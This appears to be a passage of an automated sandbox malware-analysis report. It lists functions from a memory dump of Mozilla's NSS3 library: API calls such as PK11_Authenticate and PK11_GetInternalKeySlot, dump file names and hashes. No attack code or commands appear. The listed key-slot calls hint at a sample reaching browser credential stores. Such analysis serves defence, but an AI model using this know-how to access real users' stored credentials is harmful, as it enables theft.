Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C7810F3
Part of subcall function 6C7810C0: EnterCriticalSection.KERNEL32(?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78110C
Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781141
Part of subcall function 6C7810C0: PR_Unlock.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781182
Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C77ED02

Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C77ED5A

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 605a8494ddfa2b22f335e2bccb990784232fc9150fada78a2aef8ae9b1442707
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: FA21C2B1A017465FE710CF25DB49B92B7E4AFA434CF25C225A81C87661EB70E594C6E0

Function 6C74C860 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PK11_IsLoggedIn.NSS3(?,?), ref: 6C74C890

Part of subcall function 6C748F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C73DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C748FAF
Part of subcall function 6C748F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C73DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C748FD1
Part of subcall function 6C748F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C73DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C748FFA
Part of subcall function 6C748F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C73DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C749013
Part of subcall function 6C748F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C73DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C749042
Part of subcall function 6C748F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C73DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C74905A
Part of subcall function 6C748F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C73DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C749073
Part of subcall function 6C748F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C73DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C749111

PR_GetCurrentThread.NSS3 ref: 6C74C8B2

Part of subcall function 6C7E9BF0: TlsGetValue.KERNEL32(?,?,?,6C830A75), ref: 6C7E9C07

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C74C8D0
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C74C8EB

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: K11_Value$CriticalEnterSectionUnlock$AuthenticateCurrentInternalItem_LoggedSlotThreadUtilZfree
String ID:
API String ID: 999015661-0
Opcode ID: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction ID: 35e53646ab29eb05e1181fa66c3d3e6fb13733671e510fd0261af9811f466cdc
Opcode Fuzzy Hash: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction Fuzzy Hash: 36010C76E0121467D70035B65E88AFF356C9F5515DF048135FC04E6B01F361881C83E1

Function 6C774900 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000004,6C75C79F,?,?,6C775C4A,?), ref: 6C774950

Part of subcall function 6C778800: TlsGetValue.KERNEL32(?,6C78085A,00000000,?,6C728369,?), ref: 6C778821
Part of subcall function 6C778800: TlsGetValue.KERNEL32(?,?,6C78085A,00000000,?,6C728369,?), ref: 6C77883D
Part of subcall function 6C778800: EnterCriticalSection.KERNEL32(?,?,?,6C78085A,00000000,?,6C728369,?), ref: 6C778856
Part of subcall function 6C778800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C778887
Part of subcall function 6C778800: PR_Unlock.NSS3(?,?,?,?,6C78085A,00000000,?,6C728369,?), ref: 6C778899

TlsGetValue.KERNEL32(?,?,?), ref: 6C77496A
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C77497A
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C774989

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: 7d143d6648ecd84b6d0f46bd336c1559058739b15c754cc755534bc17ac712ce
Instruction ID: 510acf6bdb5367e6733b8613288c6eaa0f037efed0855cdb44db234ee4193865
Opcode Fuzzy Hash: 7d143d6648ecd84b6d0f46bd336c1559058739b15c754cc755534bc17ac712ce
Instruction Fuzzy Hash: 6311E6B1B012059BEF305F28DE49A567BB8BB0632CB140535E94997E12E721E814DFF5

Function 6C7AEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C797FFA,?,6C799767,?,8B7874C0,0000A48E), ref: 6C7AEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C797FFA,?,6C799767,?,8B7874C0,0000A48E), ref: 6C7AEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C797FFA,?,6C799767,?,8B7874C0,0000A48E), ref: 6C7AEE14

Part of subcall function 6C780BE0: malloc.MOZGLUE(6C778D2D,?,00000000,?), ref: 6C780BF8
Part of subcall function 6C780BE0: TlsGetValue.KERNEL32(6C778D2D,?,00000000,?), ref: 6C780C15

memcpy.VCRUNTIME140(?,?,6C799767,00000000,00000000,6C797FFA,?,6C799767,?,8B7874C0,0000A48E), ref: 6C7AEE33

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 603dafaafc21202d04382ddd983ee5acf8b1ce86dac3b9fbf2a485192ed1c443
Instruction ID: 82c5499346d89e38e22230d17ac99cbe203f2169b724bf72038b5aa2f2cb14e4
Opcode Fuzzy Hash: 603dafaafc21202d04382ddd983ee5acf8b1ce86dac3b9fbf2a485192ed1c443
Instruction Fuzzy Hash: C111A3B1A0571AABEB109EA5DE88B06B3ACEB0035DF244635E91982A41E331E475C7E1

Function 6C7908D0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C7909B3,0000001A,?), ref: 6C7908E9

Part of subcall function 6C780840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7808B4

SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C7908FD

Part of subcall function 6C77FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C778D2D,?,00000000,?), ref: 6C77FB85
Part of subcall function 6C77FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C77FBB1

SECITEM_AllocItem_Util.NSS3(?,00000000,00000001), ref: 6C790939
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C790953

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Util$ErrorItem_$AllocAlloc_ArenaCopyFindTag_memcpy
String ID:
API String ID: 2572351645-0
Opcode ID: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction ID: b42e26d06b61e670825fda6941e5ae57c34016e319a4d58f3d7b95f082a84f00
Opcode Fuzzy Hash: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction Fuzzy Hash: 3B01DBB161174A6FFB149A357E14B673BB8AF44268F104439EC19C5B41FB31D4148A95

Function 6C7749C0 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 6C778800: TlsGetValue.KERNEL32(?,6C78085A,00000000,?,6C728369,?), ref: 6C778821
Part of subcall function 6C778800: TlsGetValue.KERNEL32(?,?,6C78085A,00000000,?,6C728369,?), ref: 6C77883D
Part of subcall function 6C778800: EnterCriticalSection.KERNEL32(?,?,?,6C78085A,00000000,?,6C728369,?), ref: 6C778856
Part of subcall function 6C778800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C778887
Part of subcall function 6C778800: PR_Unlock.NSS3(?,?,?,?,6C78085A,00000000,?,6C728369,?), ref: 6C778899

PR_SetError.NSS3 ref: 6C774A10
TlsGetValue.KERNEL32(6C76781D,?,6C75BD28,00CD52E8,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C774A24
EnterCriticalSection.KERNEL32(?,?,?,6C75BD28,00CD52E8), ref: 6C774A39
PR_Unlock.NSS3(?,?,?,?,6C75BD28,00CD52E8), ref: 6C774A4E

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: 4d5a04940b460e7ee43ef786235a6465010098c039ee076519467fe0ef859836
Instruction ID: ced90b3d9a03d49b787a4fb56aeb0f2a37d86a60fd2ccba6a8e3c1581b7f9809
Opcode Fuzzy Hash: 4d5a04940b460e7ee43ef786235a6465010098c039ee076519467fe0ef859836
Instruction Fuzzy Hash: F5215E75A056048FDF20AF79C28856ABBF4FF46318B054979D8859BB01E734D844CFE6

Function 6C748DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C748DE7
EnterCriticalSection.KERNEL32 ref: 6C748DFC
PR_Unlock.NSS3 ref: 6C748E2D
PR_SetError.NSS3 ref: 6C748E49

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 4335bfb5ec132bd726b2472473f82641f0e908eeaf41bc539e16a164ffba016e
Instruction ID: 42a6984e27de46e7e2ba71044697ae36df34757708c8e8a917a9e8574139abb2
Opcode Fuzzy Hash: 4335bfb5ec132bd726b2472473f82641f0e908eeaf41bc539e16a164ffba016e
Instruction Fuzzy Hash: 8E118F716056159FD700AF78C54865ABBF4FF45318F068969DC88D7B01E730E854CBD2

Function 6C7CAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C7B5F17,?,?,?,?,?,?,?,?,6C7BAAD4), ref: 6C7CAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C7B5F17,?,?,?,?,?,?,?,?,6C7BAAD4), ref: 6C7CACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C7BAAD4), ref: 6C7CACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C7BAAD4), ref: 6C7CACDB

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: c7d2f01a90ffdf5e95d773f3dfdee36407e5de45ff4d2f9f59021980599cdf05
Instruction ID: c81b2e456d85d72c98c5ff9e28a0f5899723ba2eb59f2028ed892510747d48fa
Opcode Fuzzy Hash: c7d2f01a90ffdf5e95d773f3dfdee36407e5de45ff4d2f9f59021980599cdf05
Instruction Fuzzy Hash: 850129B5701B129BEB60DF2ADA09657B7E8BB107AAB144839D85AC3E00E731E454CBD1

Function 6C7788E0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6C7808AA,?), ref: 6C7788F6
EnterCriticalSection.KERNEL32(?,?,?,?,6C7808AA,?), ref: 6C77890B
PR_NotifyCondVar.NSS3(?,?,?,?,?,6C7808AA,?), ref: 6C778936
PR_Unlock.NSS3(?,?,?,?,?,6C7808AA,?), ref: 6C778940

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CondCriticalEnterNotifySectionUnlockValue
String ID:
API String ID: 959714679-0
Opcode ID: 9a1a076b0d158fb76f22d215042a674deedfee10addd4072a4435818f335804d
Instruction ID: f8ac1a72acfeb6bb3dd0ad9575f48ee03dbdd2f144e9af67dd6d584681f19fe0
Opcode Fuzzy Hash: 9a1a076b0d158fb76f22d215042a674deedfee10addd4072a4435818f335804d
Instruction Fuzzy Hash: A9016174A046099BDB10AF39C188659BBF4FF05358F050A3AD89897B01E730E4A4CBE2

Function 6C7B0840 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C882F88,6C7B0660,00000020,00000000,?,?,6C7B2C3D,?,00000000,00000000,?,6C7B2A28,00000060,00000001), ref: 6C7B0860

Part of subcall function 6C6A4C70: TlsGetValue.KERNEL32(?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4C97
Part of subcall function 6C6A4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4CB0
Part of subcall function 6C6A4C70: PR_Unlock.NSS3(?,?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4CC9

TlsGetValue.KERNEL32(00000020,00000000,?,?,6C7B2C3D,?,00000000,00000000,?,6C7B2A28,00000060,00000001), ref: 6C7B0874
EnterCriticalSection.KERNEL32(00000001), ref: 6C7B0884
PR_Unlock.NSS3 ref: 6C7B08A3

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$CallOnce
String ID:
API String ID: 2502187247-0
Opcode ID: b6b601346909cd7937d7b94997e693d44f64341fd2f9a16c9c1a548925141ab3
Instruction ID: 04da0c52256f0335826355f0e3afbb383fb2d264373d7e3fd83fb499fce652a1
Opcode Fuzzy Hash: b6b601346909cd7937d7b94997e693d44f64341fd2f9a16c9c1a548925141ab3
Instruction Fuzzy Hash: 8101F7B5A042446BEB312F69EF4DA597738EB5731DF080571EC0862E02EB32D954C7E1

Function 6C83CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C83CC61
free.MOZGLUE ref: 6C83CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C83CC80
free.MOZGLUE(?), ref: 6C83CC87

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 5f469ab1fd77aec24ebc2d5c4ca993d115c65645ebad0ea87179f50579a5c9e7
Instruction ID: 138afd62260228fa3f23425c19ce47fef0a5a2c7a005bafbde6d4a6049970405
Opcode Fuzzy Hash: 5f469ab1fd77aec24ebc2d5c4ca993d115c65645ebad0ea87179f50579a5c9e7
Instruction Fuzzy Hash: F5E030B6700618ABCA10EFA9DC8888A77ACEE492753150535F691C3701E231F905CBE1

Function 6C774D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C774D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C774DE6

Strings

%d.%d, xrefs: 6C774DDE

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 3d1a5a422f30f2171249acfc22af0cb7813bb1c338434be9293d3dc408098391
Instruction ID: 20a37606a75cdd925b3328675f8a0496e32ee9eee7863fe4b5adadc250eaa2af
Opcode Fuzzy Hash: 3d1a5a422f30f2171249acfc22af0cb7813bb1c338434be9293d3dc408098391
Instruction Fuzzy Hash: C531FBB2E0021D6BEF605B619D0ABFF7768EF40308F450429ED5597741EB709919CBB2

Function 6C810900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?), ref: 6C810917
sqlite3_value_text.NSS3(?), ref: 6C810923

Part of subcall function 6C6D13C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C6A2352,?,00000000,?,?), ref: 6C6D1413
Part of subcall function 6C6D13C0: memcpy.VCRUNTIME140(00000000,R#jl,00000002,?,?,?,?,6C6A2352,?,00000000,?,?), ref: 6C6D14C0

Strings

error in %s %s%s%s: %s, xrefs: 6C810944

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: sqlite3_value_text$memcpystrlen
String ID: error in %s %s%s%s: %s
API String ID: 1937290486-1007276823
Opcode ID: 89d4752151ea0ccde260aedac074ec4ebc84ca72a1a5911831f17b635bc17815
Instruction ID: 1ebb3e28feb85947e4e0cde5b8232105c631ca5cad84ec30c83035ebf4caff53
Opcode Fuzzy Hash: 89d4752151ea0ccde260aedac074ec4ebc84ca72a1a5911831f17b635bc17815
Instruction Fuzzy Hash: 850125B6E001089FD7109A58ED019BA7BB5EFC1218F144428ED485BB11F732A92483A2

Function 6C794CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8yl,00000000,00000000,?,?,6C793827,?,00000000), ref: 6C794D0A

Part of subcall function 6C780840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7808B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C794D22

Part of subcall function 6C77FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C721A3E,00000048,00000054), ref: 6C77FD56

Strings

'8yl, xrefs: 6C794D07

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

